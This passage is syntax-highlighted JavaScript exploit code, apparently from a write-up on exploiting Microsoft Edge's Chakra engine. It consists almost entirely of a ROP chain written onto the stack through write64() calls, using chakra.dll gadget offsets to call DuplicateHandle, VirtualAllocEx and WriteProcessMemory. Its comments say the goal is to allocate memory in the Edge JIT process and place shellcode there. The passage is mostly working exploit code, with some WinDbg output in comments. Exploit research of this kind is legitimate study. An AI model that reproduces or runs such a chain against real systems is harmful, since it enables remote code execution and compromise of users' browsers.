<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
